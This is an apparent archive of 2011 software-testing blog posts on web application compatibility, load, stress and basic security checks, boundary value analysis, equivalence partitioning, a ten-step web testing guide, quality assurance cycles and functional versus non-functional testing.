Some applications are very dependent on browsers. Different browsers have different configurations and settings that your web page should be compatible with. Your web site coding should be cross browser platform compatible. If you are using java scripts or AJAX calls for UI functionality, performing security checks or validations then give more stress on browser compatibility testing of your web application.
Test web application on different browsers like Internet explorer, Firefox, Netscape navigator, AOL, Safari, Opera browsers with different versions.

OS compatibility:
Some functionality in your web application is may not be compatible with all operating systems. All new technologies used in web development like graphics designs, interface calls like different API’s may not be available in all Operating Systems.
Test your web application on different operating systems like Windows, Unix, MAC, Linux, Solaris with different OS flavors.

Mobile browsing:
This is new technology age. So in future Mobile browsing will rock. Test your web pages on mobile browsers. Compatibility issues may be there on mobile.

Printing options:
If you are giving page-printing options then make sure fonts, page alignment, page graphics getting printed properly. Pages should be fit to paper size or as per the size mentioned in printing option.

5) Performance testing:
Web application should sustain to heavy load. Web performance testing should include:
Web Load Testing
Web Stress Testing

Test application performance on different internet connection speed.
In web load testing test if many users are accessing or requesting the same page. Can system sustain in peak load times? Site should handle many simultaneous user requests, large input data from users, Simultaneous connection to DB, heavy load on specific pages etc.

Stress testing: Generally stress means stretching the system beyond its specification limits. Web stress testing is performed to break the site by giving stress and checked how system reacts to stress and how system recovers from crashes.
Stress is generally given on input fields, login and sign up areas.

In web performance testing web site functionality on different operating systems, different hardware platforms is checked for software, hardware memory leakage errors,

6) Security Testing:

Following are some test cases for web security testing:

* Test by pasting internal url directly into browser address bar without login. Internal pages should not open.
* If you are logged in using username and password and browsing internal pages then try changing url options directly. I.e. If you are checking some publisher site statistics with publisher site ID= 123. Try directly changing the url site ID parameter to different site ID which is not related to logged in user. Access should denied for this user to view others stats.
* Try some invalid inputs in input fields like login username, password, input text boxes. Check the system reaction on all invalid inputs.
* Web directories or files should not be accessible directly unless given download option.
* Test the CAPTCHA for automates scripts logins.
* Test if SSL is used for security measures. If used proper message should get displayed when user switch from non-secure http:// pages to secure https:// pages and vice versa.
* All transactions, error messages, security breach attempts should get logged in log files somewhere on web server.

Boundary Value Analysis

2011-06-08T03:25:00.001-07:00

Boundary value analysis is a software testing technique in which tests are designed to include representatives of boundary values. Values on the minimum and maxiumum edges of an equivalence partition are tested. The values could be either input or output ranges of a software component. Since these boundaries are common locations for errors that result in software faults they are frequently exercised in test cases.
[edit] Application

The expected input and output values to the software component should be extracted from the component specification. The values are then grouped into sets with identifiable boundaries. Each set, or partition, contains values that are expected to be processed by the component in the same way. Partitioning of test data ranges is explained in the equivalence partitioning test case design technique. It is important to consider both valid and invalid partitions when designing test cases.

For an example, if the input values were months of the year expressed as integers, the input parameter 'month' might have the following partitions:

... -2 -1 0 1 .............. 12 13 14 15 .....
--------------|-------------------|-------------------
invalid partition 1 valid partition invalid partition 2

The boundary between two partitions is the place where the behavior of the application changes and is not a real number itself. The boundary value is the minimum (or maximum) value that is at the boundary. The number 0 is the maximum number in the first partition, the number 1 is the minimum value in the second partition, both are boundary values. Test cases should be created to generate inputs or outputs that will fall on and to either side of each boundary, which results in two cases per boundary. The test cases on each side of a boundary should be in the smallest increment possible for the component under test, for an integer this is 1, but the input was a decimal with 2 places then it would be .01. In the example above there are boundary values at 0,1 and 12,13 and each should be tested.

Boundary value analysis does not require invalid partitions. Take an example where a heater is turned on if the temperature is 10 degrees or colder. There are two partitions (temperature<=10, temperature>10) and two boundary values to be tested (temperature=10, temperature=11).

Where a boundary value falls within the invalid partition the test case is designed to ensure the software component handles the value in a controlled manner. Boundary value analysis can be used throughout the testing cycle and is equally applicable at all testing phases.

Equivalence partitioning

2011-06-08T03:05:00.001-07:00

Equivalence partitioning (also called Equivalence Class Partitioning or ECP[1]) is a software testing technique that divides the input data of a software unit into partitions of data from which test cases can be derived. In principle, test cases are designed to cover each partition at least once. This technique tries to define test cases that uncover classes of errors, thereby reducing the total number of test cases that must be developed.

In rare cases equivalence partitioning is also applied to outputs of a software component, typically it is applied to the inputs of a tested component. The equivalence partitions are usually derived from the requirements specification for input attributes that influence the processing of the test object. An input has certain ranges which are valid and other ranges which are invalid. Invalid data here does not mean that the data is incorrect, it means that this data lies outside of specific partition. This may be best explained by the example of a function which takes a parameter "month". The valid range for the month is 1 to 12, representing January to December. This valid range is called a partition. In this example there are two further partitions of invalid ranges. The first invalid partition would be <= 0 and the second invalid partition would be >= 13.

... -2 -1 0 1 .............. 12 13 14 15 .....
--------------|-------------------|---------------------
invalid partition 1 valid partition invalid partition 2

The testing theory related to equivalence partitioning says that only one test case of each partition is needed to evaluate the behaviour of the program for the related partition. In other words it is sufficient to select one test case out of each partition to check the behaviour of the program. To use more or even all test cases of a partition will not find new faults in the program. The values within one partition are considered to be "equivalent". Thus the number of test cases can be reduced considerably.

An additional effect of applying this technique is that you also find the so called "dirty" test cases. An inexperienced tester may be tempted to use as test cases the input data 1 to 12 for the month and forget to select some out of the invalid partitions. This would lead to a huge number of unnecessary test cases on the one hand, and a lack of test cases for the dirty ranges on the other hand.

The tendency is to relate equivalence partitioning to so called black box testing which is strictly checking a software component at its interface, without consideration of internal structures of the software. But having a closer look at the subject there are cases where it applies to grey box testing as well. Imagine an interface to a component which has a valid range between 1 and 12 like the example above. However internally the function may have a differentiation of values between 1 and 6 and the values between 7 and 12. Depending upon the input value the software internally will run through different paths to perform slightly different actions. Regarding the input and output interfaces to the component this difference will not be noticed, however in your grey-box testing you would like to make sure that both paths are examined. To achieve this it is necessary to introduce additional equivalence partitions which would not be needed for black-box testing. For this example this would be:

... -2 -1 0 1 ..... 6 7 ..... 12 13 14 15 .....
--------------|---------|----------|---------------------
invalid partition 1 P1 P2 invalid partition 2
valid partitions

To check for the expected results you would need to evaluate some internal intermediate values rather than the output interface. It is not necessary that we should use multiple values from each partition. In the above scenario we can take -2 from invalid partition 1, 6 from valid partition, and 15 from invalid partition 2.

Equivalence partitioning is not a stand alone method to determine test cases. It has to be supplemented by boundary value analysis. Having determined the partitions of possible inputs the method of boundary value analysis has to be applied to select the most effective test cases out of these partitions.

A Quick 10-Step Guide

2011-05-27T05:59:00.001-07:00

Testing Your Web Apps

A Quick 10-Step Guide

Interested in a quick checklist for testing a web application? The following 10 steps cover the most critical items that I have found important in making sure a web application is ready to be deployed. Depending on size, complexity, and corporate policies, modify the following steps to meet your specific testing needs.

Step 1 - Objectives

Make sure to establish your testing objectives up front and make sure they are measurable. It will make your life a lot easier by having written objectives that your whole team can understand and rally around. In addition to documenting your objectives, make sure your objectives are prioritized. Ask yourself questions like "What is most important: minimal defects or time-to-market?"

Here are two examples of how to determine priorities:

If you are building a medical web application that will assist in diagnosing illnesses, and someone could potentially die based on how correctly the application functions, you may want to make testing the correctness of the business functionality a higher priority than testing for navigational consistency throughout the application.

If you are testing an application that will be used to solicit external funding, you may want to put testing the aspects of the application that impact the visual appeal as the highest testing priority.

Your web application doesn't have to be perfect; it just needs to meet your intended customer's requirements and expectations.

Step 2 – Process and Reporting
Make sure that everyone on your testing team knows his or her role. Who should report what to whom and when? In other words, define your testing process. Use the following questions to help you get started:

* How will issues be reported?
* Who can assign issues?
* How will issues be categorized?
* Who needs what report and when do they need it?
* Are team meetings scheduled in advance or scheduled as needed?

You may define your testing process and reporting requirements formally or informally, depending on your particular needs. The main point to keep in mind is to organize your team in a way that supports your testing objectives and takes into account the individual personalities on your team. One size never fits all when dealing with people.

Step 3 - Tracking Results
Once you start executing your test plans, you will probably generate a large number of bugs, issues, defects, etc. You will want a way to easily store, organize, and distribute this information to the appropriate technical team members. You will also need a way to keep management informed on the status of your testing efforts. If your company already has a system in place to track this type of information, don't try to reinvent the wheel. Take advantage of what's already in place.

If your company doesn't already have something in place, spend a little time investigating some of the easy-to-setup online systems such as the one found at AdminiTrack.com. By using an online system, you can make it much easier on yourself by eliminating the need to install and maintain an off-the-shelf package.

Step 4 - Test Environment

Set up a test environment that is separate from your development and production environment. This includes a separate web server, database server, and application server if applicable. You may or may not be able to utilize existing computers to setup a separate test environment.

Create an explicitly defined procedure for moving code to and from your test environment and make sure the procedure is followed. Also, work with your development team to make sure each new version of source code to be tested is uniquely identified.

Step 5 - Usability Testing

In usability testing, you'll be looking at aspects of your web application that affect the user's experience, such as:

* How easy is it to navigate through your web application?
* Is it obvious to the user which actions are available to him or her?
* Is the look-and-feel of your web application consistent from page to page, including font sizes and colors?

The book, "Don't Make Me Think! A Common Sense Approach to Web Usability" by Steve Krug and Roger Black, provides a practical approach to the topic of usability. I refer to it often, and recommend it highly.

In addition to the traditional navigation and look-and-feel issues, Section 508 compliance is another area of importance. The 1998 Amendment to Section 508 of the Rehabilitation Act spells out accessibility requirements for individuals with certain disabilities.

For instance, if a user forgets to fill in a required field, you might think it is a good idea to present the user with a friendly error message and change the color of the field label to red or some other conspicuous color. However, changing the color of the field label would not really help a user who has difficulty deciphering colors. The use of color may help most users, but you would want to use an additional visual clue, such as placing an asterisk beside the field in question or additionally making the text bold.

For more details, refer to http://www.section508.gov. Another great resource that can help analyze your HTML pages for Section 508 compliance can be found at http://www.cast.org/bobby/. If you are working with the United States federal government, Section 508 compliance is not only good design, it most likely is a legal requirement. You may want to utilize the following information regarding techniques for accessibility evaluation and repair tools, which can be found at http://www.w3.org/TR/AERT.

Step 6 – Unit Testing

Unit testing is focused on verifying small portions of functionality. For example, an individual unit test case might focus on verifying that the correct data has been saved to the database when the Submit button on a particular page is clicked.

An important subset of unit testing that is often overlooked is range checking. That is, making sure all the fields that collect information from the user, can gracefully handle any value that is entered. Most people think of range checking as making sure that a numeric field only accepts numbers. In addition to traditional range checking make sure you also check for less common, but just as problematic exceptions. For example, what happens when a user enters his or her last name and the last name contains an apostrophe, such as O'Brien? Different combinations of databases and database drivers handle the apostrophe differently, sometimes with unexpected results. Proper unit testing will help rid your web application of obvious errors that your users should never have to encounter.

Step 7 - Verifying the HTML

Hyper Text Markup Language (HTML) is the computer language sent from your web server to the web browser on your users' computer to display the pages that make up your web application. The World Wide Web Consortium (http://www.w3.org) manages the HTML specification. One major objective of HTML is to provide the ability for anyone from anywhere to access information on the World Wide Web. This concept generally holds true if you conform strictly to the relevant version of the HTML specification that you will support. Unfortunately, in the real world, it is possible for a developer to inadvertently use a proprietary HTML tag that may not work for all of your intended users.

Verifying HTML is simple in concept but can be very time consuming in practice. A good place to start is with the World Wide Web Consortium's free HTML Validation Service (http://validator.w3.org). There are also other online and downloadable applications to help in this area such as Net Mechanic (http://www.netmechanic.com). There are two main aspects of verifying the validity of your HTML. First, you want to make sure that your syntax is correct, such as verifying that all opening and closing tags match, etc. Secondly, you want to verify how your pages look in different browsers, at different screen resolutions, and on different operating systems. Create a profile of your target audience and make some decisions on what browsers you will support, on which operating systems, and at what screen resolutions.

In general, the later versions of Microsoft Internet Explorer are very forgiving. If your development team has only been using Internet Explorer 5.5 on high-resolution monitors, you may be unpleasantly surprised when you see your web application on a typical user's computer. The sooner you start verifying your HTML, the better off your web application will be.

Step 8 - Load Testing

In performing load testing, you want to simulate how users will use your web application in the real world. The earlier you perform load testing the better. Simple design changes can often make a significant impact on the performance and scalability of your web application. A good overview of how to perform load testing can be found on Microsoft's Developer Network (MSDN) website:

http://msdn.microsoft.com/msdnmag/issues/03/01/LoadTesting/default.aspx

A topic closely related to load testing is performance tuning. Performance tuning should be tightly integrated with the design of your application. If you are using Microsoft technology, the following article is a great resource for understanding the specifics of tuning a web application.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vsent7/html/vxconPerformance.asp

People hate to wait for a web page to load. As general rule, try to make sure that all of your pages load in 15 seconds or less. This rule will of course depend on your particular application and the expectations of the people using it.

Step 9 - User Acceptance Testing

By performing user acceptance testing, you are making sure your web application fits the use for which it was intended. Simply stated, you are making sure your web application makes things easier for the user and not harder. One effective way to handle user acceptance testing is by setting up a beta test for your web application.
Step 10 - Testing Security

With the large number of highly skilled hackers in the world, security should be a huge concern for anyone building a web application. You need to test how secure your web application is from both external and internal threats. The security of your web application should be planned for and verified by qualified security specialists.

Some additional online resources to help you stay up to date on the latest Internet security issues include:

CERT Coordination Center
http://www.cert.org

Computer Security Resource Center
http://csrc.nist.gov

After performing your initial security testing, make sure to also perform ongoing security audits to ensure your web application remains secure over time as people and technology change.

Testing a web application can be a totally overwhelming task. The best advice I can give you is to keep prioritizing and focusing on the most important aspects of your application and don't forget to solicit help from your fellow team members.

By following the steps above coupled with your own expertise and knowledge, you will have a web application you can be proud of and that your users will love. You will also be giving your company the opportunity to deploy a web application that could become a run away success and possibly makes tons of money, saves millions of lives, or slashes customer support costs in half. Even better, because of your awesome web application, you may get profiled on CNN, which causes the killer job offers to start flooding in.

Proper testing is an integral part of creating a positive user experience, which can translate into the ultimate success of your web application. Even if your web application doesn't get featured on CNN, CNBC, or Fox News, you can take great satisfaction in knowing how you and your team's diligent testing efforts made all the difference in your successful deployment.

Accuracy of Quality Assurance

2011-05-24T22:12:00.001-07:00

Accuracy of Quality Assurance

Quality Assurance and Control: Why Accuracy is Vital

Competition is intense in today’s business and industrial arenas. When products and services vie heavily for market shares, the ability to deliver quality products that stand up to their promises is often a determining factor when a customer chooses a vendor. The accuracy of that vendor’s quality assurance process is key to gaining or expanding footholds in market shares.

Definition
Quality Assurance (QA) can be defined as “the inspection and testing process a business conducts to verify manufacturing, assembly, or performance standards for a product or service in accordance with business, local, industry, or government guidelines.”

Quality Control (QC) often goes hand-in-hand with Quality Assurance. QC can be defined as “Steps, checks, and balances to detect, repair, and improve upon errors or defects in a manufactured product or a service.”

A QC/QA inspection process can be as simple as checking a document for typographical, grammatical, or punctuation errors. It can be as complex as disassembling a large-capacity airliner and inspecting every part then reassembling it, testing performance as each step is completed.

Typical QC/QA Process Steps
The most popular Quality Assurance process is called the Shewart Cycle, developed by Dr. W. Edwards Deming. The cycle outlines a process untailored to specific businesses or industries.

Commonly abbreviated as PDCA, the Shewart Cycle comprises four steps:
1. Plan. Outline specific and detailed inspection steps and expected results. Explain corrective actions at each step, should a product or service fail to pass inspection. Include the percentage of each product category to undergo Quality Assurance testing.
2. Do. Initiate and complete each action step within the QualityAssurance process.
3. Check. Using prequalified standards, monitor, test, and compare products for known quality points and potential defects or shortcomings.
4. Act. Adjust product generation processes to improve and correct products to meet or exceed expectations or requirements.

Above all, test and retest often.

The Shewart Cycle versus ISO 9000
PDCA is a process to ensure accuracy in quality assurance and is conducted within the business structure. ISO 9000 is an international standard that ensures a company’s Quality Assurance plans and procedures are in place and effective.

Quality Often Lies in the Details
Focusing on details will enable thorough and accurate quality assurance processes. QC/QA in a manufacturing process could easily include not only the final product but the raw materials used in creating a product.
· Is the ordered materiel of the correct chemical composition? Is the steel strong, dense, etc., enough? Is the liquid too acidic, sweet, watery, etc.?
· Is the board precisely the correct length or it is slightly off the required dimension? Is the glass too thick? Too thin, etc.? Is it strong enough or thin enough? Is it made from the right wood?
· Is the color or shade correct? Is it of the correct dye lot?
· Is that bolt under the sealed covering torqued to specifications? Is it too tight or too loose? Is it the right type, length, or width? Is it the color specified or does it matter?
· Is the switch high enough or low enough? Is it rheostat control or levered?

Details Beyond Construction
Accurate Quality Control and Quality Assurance processes offer more to businesses and manufactures than product quality. QC and QA procedures test product generation efficiency and cost analysis data, as well.
· Can efficiency of manufacturing of Widget X increase if the business moves the tooling machinery? How quickly will the move pay for itself?
· Can less costly materials be used and still maintain quality standards? Is materiel the cost cutting tool or is the vendor?
· Can Shipping and/or Receiving Departments’ procedural changes assist in Quality Assurance improvements?
· What faster manufacturing process exists?
· Will better lighting help?
· Will additional personnel be worthwhile?
· Will fewer personnel be worthwhile?
· Would more automation improve product quality?
· Are employees encouraged to forward ideas for QA improvement? Are they rewarded or recognized for it?

Costs of Inaccuracy
Inattentive inspections or overlooked processes can cause product errors and faults, slow downs or stoppage of the manufacturing process, and even cause injury. Quality products are not available; sales decline, and the business finds itself unable to maintain its workforce or its market share.

Product Liability
When a product fails, breaks, or injures someone, a lawyer is second on the call list, right after an ambulance or vendor. When potential injury is catastrophic, civil damages can total in the millions of dollars. The Occupational Safety and Health Administration (OHSA) could site the using organization, which in turn might sue the vendor. No business can afford repeated and repeatedly large cash outlays, simply because they failed to ensure availability or accuracy in QA processes. Costs are considerably lower to develop, maintain, and improve quality than they could be due to the lack of quality.

Long-Term Impact
Slipshod Quality Control and Quality Assurance processes that do not detect degrading quality or performance will heavily impact any business’ bottom line. Customers will cancel orders, possibly return products already sold, because no one likes sub-par quality, regardless of the amount paid for it. When products stay on the shelves, no business can survive.

But the opposite can be true, as well. High quality products or services that meet or exceed customers’ needs and expectations can sell for higher prices and more steadily than products of lesser quality can. Ensuring high benchmarks are the Quality Control and Quality Assurances goals and gold standards.

Summary
A huge market may await a business’ product or service, but unless the business can deliver a product that meets or exceeds customers’ expectations in a safe, timely, and effective manner, others claim that market share, and the business is left behind.

Assuring quality of products and services is paramount, and maintaining accuracy and consistency of those standards is vital to keeping or expanding customer bases.

Functional & Non-Functional Testing

2011-05-09T03:06:00.000-07:00

Functional Testing: Testing the application against business requirements. Functional testing is done using the functional specifications provided by the client or by using the design specifications like use cases provided by the design team.

Functional Testing covers:

* Unit Testing
* Smoke testing / Sanity testing
* Integration Testing (Top Down,Bottom up Testing)
* Interface & Usability Testing
* System Testing
* Regression Testing
* Pre User Acceptance Testing(Alpha & Beta)
* User Acceptance Testing
* White Box & Black Box Testing
* Globalization & LocalizationTesting

Non-Functional Testing: Testing the application against client's and performance requirement. Non-Functioning testing is done based on the requirements and test scenarios defined by the client.

Non-Functional Testing covers:

* Load and Performance Testing
* Ergonomics Testing
* Stress & Volume Testing
* Compatibility & Migration Testing
* Data Conversion Testing
* Security / Penetration Testing
* Operational Readiness Testing
* Installation Testing
* Security Testing (ApplicationSecurity, Network Security, System Security)